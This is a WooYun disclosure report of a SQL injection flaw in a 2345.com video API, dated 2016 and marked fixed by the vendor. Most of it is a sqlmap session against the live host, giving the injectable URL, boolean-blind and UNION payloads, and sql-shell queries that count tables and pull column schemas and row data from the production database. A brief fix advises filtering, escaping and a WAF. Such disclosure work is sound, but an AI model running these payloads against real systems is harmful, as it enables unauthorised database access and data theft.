当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0196180

漏洞标题:神器而已之2345网址导航SQL注入影响大量数据

相关厂商:2345网址导航

漏洞作者: 路人甲

提交时间:2016-04-14 12:50

修复时间:2016-05-30 13:30

公开时间:2016-05-30 13:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-14: 细节已通知厂商并且等待厂商处理中
2016-04-15: 厂商已经确认,细节仅向厂商公开
2016-04-25: 细节向核心白帽子及相关领域专家公开
2016-05-05: 细节向普通白帽子公开
2016-05-15: 细节向实习白帽子公开
2016-05-30: 细节向公众公开

简要描述:

朋友手腕摔伤了,医生刚给捆上厚厚的绷带,朋友媳妇就一脸紧张的看着医生“大夫啊,这…这不影响他洗碗吧?”

详细说明:

$ python sqlmap.py -u "http://api.v.2345.com/html/mversion/checkIsEnable.php?id=159817*&media=dy&device=android&callback=jsonp12" --sql-shell
_
___ ___| |_____ ___ ___ {1.0.3.9#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:37:24
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[12:37:25] [INFO] resuming back-end DBMS 'mysql'
[12:37:25] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://api.v.2345.com:80/html/mversion/checkIsEnable.php?id=159817 AND 1244=1244&media=dy&device=android&callback=jsonp12
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: http://api.v.2345.com:80/html/mversion/checkIsEnable.php?id=-4895 UNION ALL SELECT CONCAT(0x717a706271,0x7776744d485467756652707a71447046614c507a6c6176614855734f4377654669477177624c7655,0x71766a7871)-- -&media=dy&device=android&callback=jsonp12
---
[12:37:25] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[12:37:25] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select count(*) from nc_members
[12:37:36] [INFO] fetching SQL SELECT statement query output: 'select count(*) from nc_members'
[12:37:36] [WARNING] reflective value(s) found and filtering out
select count(*) from nc_members: '1'
sql-shell> select count(*) from dy_pay_index
[12:39:09] [INFO] fetching SQL SELECT statement query output: 'select count(*) from dy_pay_index'
[12:39:09] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request(s)
select count(*) from dy_pay_index: '184'
sql-shell> select count(*) from mversion_app_payorder_log
[12:39:37] [INFO] fetching SQL SELECT statement query output: 'select count(*) from mversion_app_payorder_log'
[12:39:37] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request(s)
select count(*) from mversion_app_payorder_log: '128'
sql-shell> select count(*) from shortvideo_data
[12:40:01] [INFO] fetching SQL SELECT statement query output: 'select count(*) from shortvideo_data '
[12:40:01] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request(s)
select count(*) from shortvideo_data : '1146294'
sql-shell> select * from shortvideo_data limit 5
[12:40:16] [INFO] fetching SQL SELECT statement query output: 'select * from shortvideo_data limit 5'
[12:40:16] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself
[12:40:16] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns
[12:40:16] [INFO] fetching current database
[12:40:16] [INFO] fetching columns for table 'shortvideo_data' in database 'dianying_2345'
[12:40:16] [INFO] the SQL query used returns 20 entries
[12:40:16] [INFO] resumed: "id","int(11)"
[12:40:16] [INFO] resumed: "title","varchar(200)"
[12:40:16] [INFO] resumed: "category","varchar(30)"
[12:40:16] [INFO] resumed: "subcat","varchar(100)"
[12:40:16] [INFO] resumed: "image","varchar(200)"
[12:40:16] [INFO] resumed: "duration","time"
[12:40:16] [INFO] resumed: "link","varchar(512)"
[12:40:16] [INFO] resumed: "publish","datetime"
[12:40:16] [INFO] resumed: "tag","varchar(100)"
[12:40:16] [INFO] resumed: "introduction","varchar(500)"
[12:40:16] [INFO] resumed: "count","int(5)"
[12:40:16] [INFO] resumed: "source","varchar(20)"
[12:40:16] [INFO] resumed: "ctimer","int(5)"
[12:40:16] [INFO] resumed: "catch_time","datetime"
[12:40:16] [INFO] resumed: "update_time","datetime"
[12:40:16] [INFO] resumed: "state","enum('N','Y','D')"
[12:40:16] [INFO] resumed: "prank","int(5)"
[12:40:16] [INFO] resumed: "singer","varchar(100)"
[12:40:16] [INFO] resumed: "category_2345_id","int(5)"
[12:40:16] [INFO] resumed: "linkM","varchar(512)"
[12:40:16] [INFO] the query with expanded column name(s) is: SELECT `count`, catch_time, category, category_2345_id, ctimer, duration, id, image, introduction, link, linkM, prank, publish, singer, source, state, subcat, tag, title, update_time FROM shortvideo_data LIMIT 5

[12:40:39] [INFO] the SQL query provided has more than one field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind
[12:40:39] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[12:40:39] [INFO] retrieved:
[12:40:39] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request(s)
15
[12:40:41] [INFO] retrieved: 2016-03-25 18:15:03
[12:40:50] [INFO] retrieved: \xd3\xe9\xc0\xd6
[12:40:53] [INFO] retrieved: 0
[12:40:54] [INFO] retrieved: 0
[12:40:55] [INFO] retrieved: 00:00:51
[12:40:58] [INFO] retrieved: 1
[12:40:59] [INFO] retrieved: http://vi1.ku6img.com/data2/p2/cms/2016/3/25/pic_1458883886058.jpg
[12:41:23] [INFO] retrieved: \xcd\xf4\xb7\xe5^Z

漏洞证明:

sql-shell> select count(*) from shortvideo_data
[12:40:01] [INFO] fetching SQL SELECT statement query output: 'select count(*) from shortvideo_data '
[12:40:01] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request(s)
select count(*) from shortvideo_data : '1146294'
表太多了,我不一一跑数据了,就看了一个表,应该是视频之类的数据,100多万。

修复方案:

过滤转义加waf,尤其是api,一旦出现注入都是影响成吨数据。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-04-15 13:27

厂商回复:

已修复,感谢您对2345的关注

最新状态:

暂无